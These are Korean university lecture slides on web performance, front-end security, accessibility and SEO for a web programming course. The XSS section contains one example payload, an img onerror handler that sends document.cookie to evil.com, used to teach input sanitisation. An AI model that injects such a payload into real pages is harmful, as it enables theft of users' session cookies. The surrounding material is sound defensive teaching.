웹 기술 이론 8장

웹 성능·보안·접근성

빠르게, 안전하게, 모두가 쓸 수 있게 — 완성도의 세 축

한신대학교 AI·SW계열 · 웹프로그래밍

학습사이트 hs-web.dreamitbiz.com

학습 목표

① 페이지가 느려지는 원인을 진단하고 개선 방향을 고를 수 있다.

② XSS 등 프론트엔드에서 실제로 일어나는 보안 문제를 설명하고 막을 수 있다.

③ 접근성 4원칙을 알고 HTML·CSS 수준에서 지킬 수 있다.

④ 검색엔진이 페이지를 이해하는 데 필요한 것을 갖출 수 있다.

⑤ 완성 전 점검 절차를 스스로 실행할 수 있다.

이론 8장

핵심 키워드

성능 LCP CLS 지연 로딩 XSS HTTPS API 키 접근성 POUR SEO

학습사이트의 본문에서 이 낱말들을 찾아 읽으면 이 시간의 뼈대가 잡힙니다

이론 8장 · 1

성능 — 왜 빠른 것이 중요한가

느린 페이지는 읽히기 전에 닫힙니다.

성능 — 왜 빠른 것이 중요한가

1. 로딩이 1초에서 3초로 늘면 이탈률이 크게 오른다는 조사가 반복해서 나옵니다.

2. 성능은 취향이 아니라 사용자가 내용을 볼 수 있느냐의 문제입니다.

성능 — 왜 빠른 것이 중요한가

지표	무엇을 재는가	기준
LCP (Largest Contentful Paint)	가장 큰 요소가 그려지기까지	2.5초 이내
INP (Interaction to Next Paint)	눌렀을 때 반응하기까지	200ms 이내
CLS (Cumulative Layout Shift)	화면이 얼마나 덜컹거렸는가	0.1 이내

순서대로 하세요 — 앞의 것이 훨씬 효과가 큽니다

정리

1. **① 이미지를 줄인다.**
   대부분의 페이지에서 용량의 절반 이상이 이미지입니다. 필요한 크기로 리사이즈하고, WebP를 쓰고, srcset으로 화면에 맞는 것을 내려보냅니다.

2. **② 안 쓰는 것을 지운다.**
   유틸리티 클래스 몇 개 때문에 CSS 프레임워크 전체를 불러오지 않습니다. 라이브러리 하나가 페이지 전체보다 무거운 경우가 흔합니다.

3. **③ 나중에 필요한 것은 나중에 불러온다.**
   화면 밖 이미지는 loading="lazy", 당장 필요 없는 스크립트는 defer.

자주 쓰는 것들

```
<!-- 화면 밖 이미지는 나중에 -->
<img src="photo.jpg" alt="설명" loading="lazy" width="800" height="600">

<!-- 스크립트: HTML 파싱을 막지 않게 -->
<script src="app.js" defer></script>   <!-- 순서 보장, DOM 완성 후 실행 -->
<script src="ad.js" async></script>    <!-- 순서 무관, 받는 대로 실행 -->

<!-- 폰트: 로딩 중에도 글자가 보이게 -->
<link href="...&display=swap" rel="stylesheet">

<!-- 곧 쓸 도메인에 미리 연결 -->
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
```

자리를 미리 잡아 두기

```
/* ① 이미지에 크기 지정 — 로드 전에도 자리를 차지한다 */
<img src="a.jpg" alt="" width="800" height="600">

/* ② 또는 CSS에서 비율 고정 */
.thumb { aspect-ratio: 16 / 9; object-fit: cover; }

/* ③ 늦게 채워지는 영역에 최소 높이 */
.ad-slot { min-height: 250px; }

/* ④ 웹폰트 교체 시 글자가 튀지 않게 — 대체 글꼴을 비슷한 것으로 */
font-family: 'Noto Sans KR', 'Malgun Gothic', sans-serif;
```

> 읽던 글이 갑자기 아래로 밀리는 경험은 성능 지표에서 큰 감점 요인이자, 사용자에게 가장 짜증나는 경험 중 하나입니다.

1.2 레이아웃 이동(CLS) 막기

1. 성능 개선은 먼저 재고 나서 고칩니다.
2. 개발자도구의 Lighthouse와 Network 탭이 무엇이 무거운지 정확히 알려 줍니다.
3. 추측으로 최적화하면 효과 없는 곳에 시간을 씁니다.

이론 8장 · 2

보안 — 프론트엔드에서 실제로 일어나는 일

가장 중요한 전제

정리

1. **프론트엔드 코드는 전부 공개된 것입니다.**
   브라우저에 내려간 순간 누구나 소스보기·개발자도구로 읽을 수 있습니다.

2. **JS로 숨긴 것은 숨긴 것이 아닙니다.**
   개발자도구로 버튼을 되살려 누르면 그만입니다.

3. **그러므로 중요한 판단은 반드시 서버에서**
   합니다. 프론트의 검증과 숨김은 편의일 뿐 보안이 아닙니다.

2.1 XSS (Cross-Site Scripting)

1. 남이 쓴 글에 든 스크립트가 내 페이지에서 실행되는 공격입니다.

2. 프론트엔드에서 가장 자주, 가장 쉽게 만들어지는 취약점입니다.

어떻게 일어나는가

```
// 사용자가 게시글에 이렇게 씁니다
const input = '<img src=x onerror="fetch(\'http://evil.com/?c=\'+document.cookie)">';

el.innerHTML = input;    // ✗ onerror가 실행되어 쿠키가 공격자에게 넘어갑니다

/* "<script>만 막으면 되겠지"는 통하지 않습니다.
   innerHTML로 넣은 <script>는 실행되지 않지만,
   onerror · onload · onmouseover 같은 이벤트 속성은 실행됩니다. */
```

XSS를 막는 방법

정리

1. **사용자 입력은 textContent 로 넣습니다.**
   이 하나로 대부분이 막힙니다.
2. **HTML을 꼭 허용해야 한다면**
   검증된 정화 라이브러리(DOMPurify 등)를 씁니다. 직접 정규식으로 거르려 하지 마세요 — 반드시 뚫립니다.
3. **href 에 사용자 값을 넣을 때 주의.**
   javascript: 로 시작하는 주소가 들어갈 수 있습니다.
4. **CSP(Content Security Policy) 헤더**
   로 인라인 스크립트 실행을 막을 수 있습니다(서버 설정).

절대 하면 안 되는 것

```
// ✗ 프론트엔드 파일에 API 키
const API_KEY = 'sk-abcd1234...';
fetch(`https://api.example.com?key=${API_KEY}`);

/* 소스보기로 다 보입니다. GitHub에 올리면 자동 수집 봇이 몇 분 안에 찾아갑니다.
   실제로 클라우드 요금 폭탄 사고가 이 경로로 자주 납니다. */

// ✓ 키가 필요한 호출은 서버를 거칩니다
fetch('/api/search?q=' + query);   // 키는 서버가 갖고 있음
```

2.2 비밀은 코드에 넣지 않습니다

1. 실수로 키를 올렸다면 커밋을 지우는 것만으로는 부족합니다.
2. 이미 수집됐다고 보고 그 키를 폐기하고 새로 발급해야 합니다.
3. .gitignore 에 .env 를 넣어 두는 것이 예방책입니다.

2.3 그 밖의 기본

항목	왜
HTTPS를 쓴다	HTTP는 오가는 내용이 그대로 보입니다. 카페 와이파이에서 비밀번호가 노출됩니다
비밀번호는 해시로 저장	DB가 털려도 원래 비밀번호를 알 수 없어야 합니다 (서버 쪽 일)
rel="noopener"	새 탭이 원래 페이지를 조작하는 것을 막습니다
서버에서 다시 검증	요청은 얼마든지 조작할 수 있습니다
의존성을 최신으로	옛 라이브러리의 알려진 취약점이 그대로 남습니다

이론 8장 · 3

접근성

웹 접근성은 장애가 있어도, 나이가 많아도, 마우스가 고장 났어도, 밝은 야외에서도 웹을 쓸 수 있게 만드는 것입니다.

접근성

1. 한국에서는 「장애인차별금지법」에 따라 공공기관과 일정 규모 이상 민간 사이트에 준수 의무가 있습니다.

이 다섯 가지가 전체의 대부분입니다

정리

1. **<img> 에 의미 있는 alt**
   장식이면 alt="", 빠뜨리면 파일명이 읽힙니다.
2. **제목 계층(h1→h2→h3)을 건너뛰지 않기**
   화면낭독기 사용자는 제목으로 이동합니다.
3. **<label> 과 <input> 연결**
   폼에서 가장 중요합니다.
4. **의미에 맞는 태그**
   누르는 것은 <button>, 이동하는 것은 <a>.
5. **<html lang="ko">**
   어떤 언어로 읽을지 정해 줍니다.

색 대비와 초점 표시 (1/2)

```
/* 절대 이렇게만 쓰지 마세요 */
:focus { outline: none; }     /* 키보드 사용자가 위치를 알 수 없게 됩니다 */

/* ✓ 없앤다면 대체 스타일을 반드시 줍니다 */
:focus-visible {
  outline: 2px solid var(--main);
  outline-offset: 2px;
}

/* 색 대비 — 본문 4.5:1, 큰 글자 3:1 이상 */
/* 개발자도구에서 색을 클릭하면 대비율을 바로 보여 줍니다 */
```

색 대비와 초점 표시 (2/2)

```
/* 면과 그 위에 얹히는 것에 같은 색 토큰을 쓰지 않습니다 */
.tab.is-active { background: var(--primary); }
.tab.is-active .icon { color: var(--primary); }   /* ✗ 대비 1:1 — 사라집니다 */
.tab.is-active .icon { color: var(--on-primary); } /* ✓ */

/* 움직임을 줄여 달라는 설정 존중 */
@media (prefers-reduced-motion: reduce) {
  *, *::before, *::after {
    animation-duration: 0.01ms !important;
    transition-duration: 0.01ms !important;
  }
}
```

3.2 CSS에서 지켜야 할 것

1. 색만으로 정보를 전달하지 않습니다.
2. "빨간 항목은 마감"이라고 하면 색각 이상이 있는 사람(남성의 약 8%)은 구분하지 못합니다.
3. 색 + 아이콘, 색 + 글자를 함께 씁니다.

기본 규칙: 안 쓰는 것이 제일 좋습니다

```
<!-- ✗ 굳이 이렇게 -->
<div role="button" tabindex="0" onclick="...">누르기</div>

<!-- ✓ 그냥 button을 쓰면 전부 공짜로 얻습니다 -->
<button>누르기</button>

<!-- ARIA가 정말 필요한 경우: 네이티브 태그로 표현 못 할 때 -->
<button aria-expanded="false" aria-controls="menu">메뉴</button>
<div id="menu" hidden>...</div>

<div role="status" aria-live="polite">3건을 불러왔습니다.</div>
<!-- 화면 갱신을 화면낭독기에 알림 -->
```

3.3 ARIA — 필요할 때만

1. **"ARIA를 잘못 쓰느니 안 쓰는 것이 낫다" 는 것이 접근성 업계의 오래된 원칙입니다.**

2. **잘못된 role은 오히려 보조기술을 혼란스럽게 만듭니다.**

3.4 직접 해 볼 수 있는 점검

1. **마우스를 치우고 Tab 키만으로**
   페이지를 끝까지 훑습니다. 어디서 막히나요? 지금 어디에 있는지 눈에 보이나요?
2. **브라우저를 200%로 확대**
   해 봅니다. 글자가 잘리거나 겹치지 않나요?
3. **개발자도구 → Lighthouse → Accessibility**
   점수를 재 봅니다.
4. **흑백으로 보기**
   개발자도구 Rendering 탭의 색각 이상 시뮬레이션. 색으로만 구분한 곳이 드러납니다.

이론 8장 · 4

SEO — 검색엔진이 이해하게 만들기

검색엔진의 크롤러도 결국 눈이 없는 사용자입니다.

SEO — 검색엔진이 이해하게 만들기

1. 그래서 접근성을 잘 지킨 사이트가 SEO도 좋습니다.
2. 두 가지는 같은 방향을 봅니다.

페이지마다 갖춰야 할 것

```
<title>구체적인 페이지 제목 — 사이트 이름</title>
<meta name="description" content="이 페이지가 무엇에 관한 것인지 한두 문장. 검색 결과에 그대로 보입니다.">
<link rel="canonical" href="https://example.com/이-페이지/">
<meta name="robots" content="index, follow">

<!-- 공유 미리보기 (카카오톡 · SNS) -->
<meta property="og:type" content="website">
<meta property="og:title" content="...">
<meta property="og:description" content="...">
<meta property="og:image" content="https://example.com/og-image.png">  <!-- 절대 주소 · 1200×630 -->
<meta property="og:url" content="https://example.com/">
<meta property="og:site_name" content="...">
<meta name="twitter:card" content="summary_large_image">
```

SEO의 기본

정리

1. **<title> 과 description 은 페이지마다 다르게.**
   전부 같으면 검색엔진이 구별하지 못합니다.
2. **h1은 하나, 계층은 건너뛰지 않기.**
   문서 구조가 곧 중요도 신호입니다.
3. **의미 있는 URL**
   /page?id=3 보다 /weeks/3 이 낫습니다.
4. **빠른 로딩과 모바일 대응**
   은 검색 순위에 직접 반영됩니다.
5. **alt 텍스트**
   로 이미지 검색에도 잡힙니다.

이론 8장 · 5

완성 전 점검 절차

제출·배포 전에 이 목록을 훑으세요 (1/2)

정리

1. **기능**
   모든 링크·버튼이 동작하는가. 콘솔에 빨간 오류가 없는가. console.log 를 지웠는가.
2. **반응형**
   360px에서 가로 스크롤이 생기지 않는가. 기기 도구 모음으로 여러 폭을 확인했는가.
3. **접근성**
   모든 img 에 alt, 모든 input 에 label, Tab만으로 조작 가능, 초점이 보이는가.
4. **성능**
   이미지가 필요 이상으로 크지 않은가. Lighthouse 점수를 재 봤는가.

제출·배포 전에 이 목록을 훑으세요 (2/2)

정리

1. **메타**
   title·description·OG 태그가 있는가. 휴대폰에서 링크를 공유해 봤는가.
2. **보안**
   API 키·비밀번호가 코드에 없는가. 사용자 입력을 innerHTML 로 넣지 않았는가.
3. **배포**
   실제 주소에서 열리는가. 파일명 대소문자 문제로 404가 나는 것이 없는가.

완성 전 점검 절차

1. "고쳤다"는 판정은 되돌려서 확인합니다.
2. 고친 뒤만 재면 원래 안 깨져 있었어도 통과합니다.
3. 고치기 전 상태로 되돌려 재현되는 것을 확인해야 판정이 사실이 됩니다.
4. 이것은 이 과목뿐 아니라 앞으로 개발을 하는 내내 쓰게 될 원칙입니다.

웹 기술 이론 8장 마무리

8장 마무리

웹 성능·보안·접근성 — 본문과 도해는 학습사이트에서 다시 읽습니다

- ✓ 학습사이트 장 페이지 끝의 「이해했어요 · 어려워요」 표시
- ✓ 함께 볼 주차: 13주차 · 15주차
- ✓ 막히면 「질문있어요」 — 질문은 반 전체가 같은 자리에서 봅니다